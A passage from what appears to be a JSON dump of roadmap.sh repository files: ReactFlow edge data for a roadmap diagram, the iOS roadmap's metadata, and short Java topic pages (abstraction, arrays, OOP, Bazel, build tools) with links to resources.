\"sourceHandle\": \"z2\",\n      \"target\": \"pZVPsgvCpP3zUgBM4i0CF\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Tv8-WUcKiZMLHuunQwisez2-pZVPsgvCpP3zUgBM4i0CFy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pZVPsgvCpP3zUgBM4i0CF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"MaHtZSIPxDzrnB33_9OdV\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-pZVPsgvCpP3zUgBM4i0CFx2-MaHtZSIPxDzrnB33_9OdVw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pZVPsgvCpP3zUgBM4i0CF\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1DZYPqvgY6GtwMCS7N2y-\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-pZVPsgvCpP3zUgBM4i0CFz2-1DZYPqvgY6GtwMCS7N2y-y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1DZYPqvgY6GtwMCS7N2y-\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"0nei6iwP4Pgi_j4vVi_Qt\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-1DZYPqvgY6GtwMCS7N2y-w2-0nei6iwP4Pgi_j4vVi_Qtx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1DZYPqvgY6GtwMCS7N2y-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"S2XZJv3TAnEJcTcHA3e62\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-1DZYPqvgY6GtwMCS7N2y-x2-S2XZJv3TAnEJcTcHA3e62w2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"S2XZJv3TAnEJcTcHA3e62\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"PdzCQXZIivw3zCYPtokJV\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-S2XZJv3TAnEJcTcHA3e62z2-PdzCQXZIivw3zCYPtokJVy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"S2XZJv3TAnEJcTcHA3e62\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"loxQ6vCyDimwNFKqj4ZUg\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-S2XZJv3TAnEJcTcHA3e62y2-loxQ6vCyDimwNFKqj4ZUgz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"loxQ6vCyDimwNFKqj4ZUg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DVe8S6TjKcQ8LT5G-aMVa\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-loxQ6vCyDimwNFKqj4ZUgy2-DVe8S6TjKcQ8LT5G-aMVaz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DVe8S6TjKcQ8LT5G-aMVa\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"TMFvfwG45Z00PzrzZIVhT\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-DVe8S6TjKcQ8LT5G-aMVaw2-TMFvfwG45Z00PzrzZIVhTx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DVe8S6TjKcQ8LT5G-aMVa\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hLkexoRp0CjR8BW6xNDgy\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DVe8S6TjKcQ8LT5G-aMVax2-hLkexoRp0CjR8BW6xNDgyw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hLkexoRp0CjR8BW6xNDgy\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OZZ3UnWN2gFflbM_WaJ8H\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hLkexoRp0CjR8BW6xNDgyz2-OZZ3UnWN2gFflbM_WaJ8Hy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OZZ3UnWN2gFflbM_WaJ8H\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"WxshXCloVDkVkQV0JvI1w\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-OZZ3UnWN2gFflbM_WaJ8Hx2-WxshXCloVDkVkQV0JvI1ww1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OZZ3UnWN2gFflbM_WaJ8H\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"GtK5YThTHPSetosY0WMRw\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-OZZ3UnWN2gFflbM_WaJ8Hz2-GtK5YThTHPSetosY0WMRwy1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"5589B1DKaCd-9l9DfKH3o\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"nXQqYA5GcUmdoVl410uUe\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GtK5YThTHPSetosY0WMRw\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"uczkyc30K_qqcarZCGTdF\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GtK5YThTHPSetosY0WMRww2-uczkyc30K_qqcarZCGTdFx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GtK5YThTHPSetosY0WMRw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IX_c1JTc1jVpPUhYRtEfg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-GtK5YThTHPSetosY0WMRwz2-IX_c1JTc1jVpPUhYRtEfgy1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IX_c1JTc1jVpPUhYRtEfg\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"iZAXQKLe2LaIIifVFtFOL\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-IX_c1JTc1jVpPUhYRtEfgx2-iZAXQKLe2LaIIifVFtFOLz1\",\n      \"type\": \"step\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iZAXQKLe2LaIIifVFtFOL\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KCJgCjMJGxIcf13XSEclO\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iZAXQKLe2LaIIifVFtFOLy2-KCJgCjMJGxIcf13XSEclOz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KCJgCjMJGxIcf13XSEclO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_W3vb0b14FrWB2fH7DHC7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KCJgCjMJGxIcf13XSEclOy2-_W3vb0b14FrWB2fH7DHC7z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_W3vb0b14FrWB2fH7DHC7\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"U4xE1enkZxUME0j0gutae\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_W3vb0b14FrWB2fH7DHC7w2-U4xE1enkZxUME0j0gutaex1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"U4xE1enkZxUME0j0gutae\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TrblGyy81Oep2CBxoZkaf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-U4xE1enkZxUME0j0gutaey2-TrblGyy81Oep2CBxoZkafz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"U4xE1enkZxUME0j0gutae\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"tWxuFh0xDugdplnHt_G0e\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-U4xE1enkZxUME0j0gutaey2-tWxuFh0xDugdplnHt_G0ez1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"U4xE1enkZxUME0j0gutae\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LltERZaHsI-R_3O_3twpk\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-U4xE1enkZxUME0j0gutaey2-LltERZaHsI-R_3O_3twpkz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"U4xE1enkZxUME0j0gutae\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VylaBSDAVFzveVfytI1Fz\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-U4xE1enkZxUME0j0gutaey2-VylaBSDAVFzveVfytI1Fzz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"U4xE1enkZxUME0j0gutae\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"r3fNx1Hk_TGlQSDtRnXqF\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-U4xE1enkZxUME0j0gutaey2-r3fNx1Hk_TGlQSDtRnXqFz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_W3vb0b14FrWB2fH7DHC7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"jZpH-T2hW-XBdprVqemGi\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_W3vb0b14FrWB2fH7DHC7y2-jZpH-T2hW-XBdprVqemGiw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZpH-T2hW-XBdprVqemGi\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"lse0W6_nPrjGJGW2bVFfM\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jZpH-T2hW-XBdprVqemGiz2-lse0W6_nPrjGJGW2bVFfMy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lse0W6_nPrjGJGW2bVFfM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fOOQurIL1w3PwH5Mep9x1\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-lse0W6_nPrjGJGW2bVFfMz2-fOOQurIL1w3PwH5Mep9x1y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fOOQurIL1w3PwH5Mep9x1\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"e7qVpQeu2iQL0c9MOMCVe\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-fOOQurIL1w3PwH5Mep9x1x2-e7qVpQeu2iQL0c9MOMCVew1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yvdfoly5WHHTq2Puss355\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"XzXLGjJr2F8Ln7gP0e5N8\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355z2-XzXLGjJr2F8Ln7gP0e5N8w2\",\n      \"selected\": false,\n      \"type\": \"step\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lse0W6_nPrjGJGW2bVFfM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XzXLGjJr2F8Ln7gP0e5N8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lse0W6_nPrjGJGW2bVFfMx2-XzXLGjJr2F8Ln7gP0e5N8w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6gfqFy3H6SLt06oJ1kt5A\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"YzJVkZbOzgp5w9N0IQBN_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-6gfqFy3H6SLt06oJ1kt5Ax2-YzJVkZbOzgp5w9N0IQBN_z1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YzJVkZbOzgp5w9N0IQBN_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ysaBCl_TtWqelirptQp7P\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-YzJVkZbOzgp5w9N0IQBN_y2-ysaBCl_TtWqelirptQp7Pz1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mdAV4JlF08q-ZQpb5C3q6\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"fbloF-u4XwdHLmBS9flZm\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-mdAV4JlF08q-ZQpb5C3q6x2-fbloF-u4XwdHLmBS9flZmw2\",\n      \"selected\": false\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/ios/ios.md",
    "content": "---\npdfUrl: '/pdfs/roadmaps/ios.pdf'\norder: 5\nbriefTitle: 'iOS'\nbriefDescription: 'Step by step guide to becoming an iOS Developer in 2025'\ntitle: 'iOS Developer'\ndescription: 'Step by step guide to becoming an iOS developer in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 3990\nschema:\n  headline: 'iOS Developer Roadmap'\n  description: 'Learn how to become a iOS Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/ios.png'\n  datePublished: '2023-01-24'\n  dateModified: '2023-10-24'\nseo:\n  title: 'iOS Developer Roadmap: Learn to become an iOS developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for ios development. Learn to become a modern iOS developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming an ios developer'\n    - 'ios developer roadmap'\n    - 'ios developer roadmap 2025'\n    - 'ios roadmap'\n    - 'ios roadmap 2025'\n    - 'become ios developer'\n    - 'ios developer skills'\n    - 'ios skills test'\n    - 'skills for ios development'\n    - 'learn ios development'\n    - 'apple developer roadmap'\n    - 'what is ios'\n    - 'ios quiz'\n    - 'ios interview questions'\nrelatedRoadmaps:\n  - 'react-native'\n  - 'flutter'\n  - 'rust'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\nrenderer: 'editor'\n---"
  },
  {
    "path": "src/data/roadmaps/java/content/abstraction@qdA6bK9ZkP8p0_NH_wMuj.md",
    "content": "# Abstraction\n\nThe abstract keyword in Java is used to declare a class or a method that cannot be instantiated directly or must be implemented by subclasses, respectively. It is a key part of Java's abstraction mechanism, allowing developers to define abstract classes and methods that provide a blueprint for other classes.\n\nVisit the following resources to learn more:\n\n- [@article@Java Abstract Classes](https://jenkov.com/tutorials/java/abstract-classes.html)\n- [@article@Java Interfaces vs. Abstract Classes](https://jenkov.com/tutorials/java/interfaces-vs-abstract-classes.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/access-specifiers@KYndNwfQcwRCf3zCXOwd_.md",
    "content": "# Access Specifiers\n\nAccess specifiers (or access modifiers) in Java are keywords that control the visibility or accessibility of classes, methods, constructors, and other members. They determine from where these members can be accessed. Java provides four access specifiers: `private`, `default` (no keyword), `protected`, and `public`, each offering a different level of access control.\n\nVisit the following resources to learn more:\n\n- [@article@Java Access Modifiers](https://jenkov.com/tutorials/java/access-modifiers.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/annotations@c--y6GcKj9am0CBdu_Hnt.md",
    "content": "# Annotations\n\nAnnotations are a form of metadata that provide data about a program. They are used to provide supplemental information about the code, but they are not a part of the program itself. Annotations can be used by the compiler to detect errors or suppress warnings, and they can also be used at runtime to modify the behavior of the program.\n\nVisit the following resources to learn more:\n\n- [@article@Java Annotations Tutorial](https://jenkov.com/tutorials/java/annotations.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/array-vs-arraylist@a-EQiBUlSgdZba1mW36op.md",
    "content": "# Array vs ArrayList\n\nArrays and ArrayLists are both ways to store collections of elements in Java. An array is a fixed-size, ordered sequence of elements of the same data type. Once you declare its size, you cannot change it. An ArrayList, on the other hand, is a dynamic, resizable array implementation. It can grow or shrink as needed, allowing you to add or remove elements without worrying about the initial size.\n\nVisit the following resources to learn more:\n\n- [@article@Java Arrays](https://jenkov.com/tutorials/java/arrays.html)\n- [@article@Java ArrayLists](https://jenkov.com/tutorials/java-collections/list.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/arrays@5khApwg1FZ-0qorsLyH-F.md",
    "content": "# Arrays\n\nArrays are fundamental data structures used to store a collection of elements of the same data type in contiguous memory locations. They provide a way to organize and access multiple values using a single variable name and an index. Each element in an array can be accessed directly using its index, starting from 0.\n\nVisit the following resources to learn more:\n\n- [@article@Java Arrays](https://jenkov.com/tutorials/java/arrays.html)\n- [@video@Java Arrays Tutorial](https://www.youtube.com/watch?v=ei_4Nt7XWOw)"
  },
  {
    "path": "src/data/roadmaps/java/content/attributes-and-methods@xTwJYcA6ldgaw3yGmbDEd.md",
    "content": "# Attributes and Methods\n\nAttributes are variables that hold data about an object, defining its state or characteristics. Methods are functions that define the behavior of an object, allowing it to perform actions or operations. Together, attributes and methods encapsulate the data and behavior of an object within a class.\n\nVisit the following resources to learn more:\n\n- [@article@Java Classes](https://jenkov.com/tutorials/java/classes.html)\n- [@article@Java Methods](https://jenkov.com/tutorials/java/methods.html)\n- [@article@Java Properties](https://jenkov.com/tutorials/java-collections/properties.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/basic-syntax@OlbQNB6YXZjO1J7D0lZU1.md",
    "content": "# Basic Syntax\n\nUnderstanding the basics is the key to a solid foundation. In this section, learn the basic terminologies, naming conventions, reserved keywords, expressions, statements, data structures, OOP, packages, etc.\n\n*   To print output use --> System.out.println();\n*   To take input from user --> Scanner or BufferedReader class can be used\n\nVisit the following resources to learn more:\n\n- [@official@Java Language Basics](https://dev.java/learn/language-basics)\n- [@video@Java - Basic Syntax](https://www.youtube.com/watch?v=81piDKqPxjQ)\n- [@video@Java Tutorial for Beginners](https://www.youtube.com/watch?v=RRubcjpTkks)"
  },
  {
    "path": "src/data/roadmaps/java/content/basics-of-oop@DZ4BX4NYeCQbjGSj56lng.md",
    "content": "# Basics of OOP\n\nObject-Oriented Programming (OOP) is a programming paradigm centered around \"objects,\" which contain data in the form of fields (attributes) and code in the form of procedures (methods). OOP focuses on creating reusable code by grouping related data and behavior into objects, allowing for modularity, abstraction, inheritance, and polymorphism. These concepts help in organizing and structuring code in a way that mirrors real-world entities and their interactions.\n\nVisit the following resources to learn more:\n\n- [@article@Java Classes and Objects](https://jenkov.com/tutorials/java/classes.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/bazel@6FMj9tMAQPii_1kLtHJLk.md",
    "content": "# Bazel\n\nBazel is an open-source build and test tool similar to Make, Maven, and Gradle. It uses a human-readable, high-level build language. Bazel supports projects in multiple languages and builds outputs for multiple platforms. It's designed for fast, reliable, and reproducible builds, making it suitable for large codebases and complex projects.\n\nVisit the following resources to learn more:\n\n- [@article@Getting started with Bazel](https://bazel.build/start)\n- [@article@Build Java Projects with Bazel](https://earthly.dev/blog/build-java-projects-with-bazel/)\n- [@article@Introduction to the Bazel Build Tool](https://www.baeldung.com/bazel-build-tool)"
  },
  {
    "path": "src/data/roadmaps/java/content/build-tools@81N1cZLue_Ii0uD5CV6kZ.md",
    "content": "# Build Tools\n\nA build tool is a program or command-line utility that automates the process of compiling, assembling, and deploying software.\n\nBuild tools are not only limited to compiling code; they can also help with package management, dependency handling, and continuous integration systems."
  },
  {
    "path": "src/data/roadmaps/java/content/classes-and-objects@LenPrQwxFsE1UVbXO_dE7.md",
    "content": "# Classes and Objects\n\nClasses are blueprints for creating objects, which are instances of those classes. A class defines the characteristics (attributes) and behaviors (methods) that objects of that class will possess. Think of a class as a template and an object as a specific instance created from that template.\n\nVisit the following resources to learn more:\n\n- [@article@Java Class and Objects](https://www.programiz.com/java-programming/class-objects)\n- [@video@Java Classes and Objects](https://www.youtube.com/watch?v=IUqKuGNasdM)"
  },
  {
    "path": "src/data/roadmaps/java/content/concurrency@shqS9-hg__mkOtnnl_I4l.md",
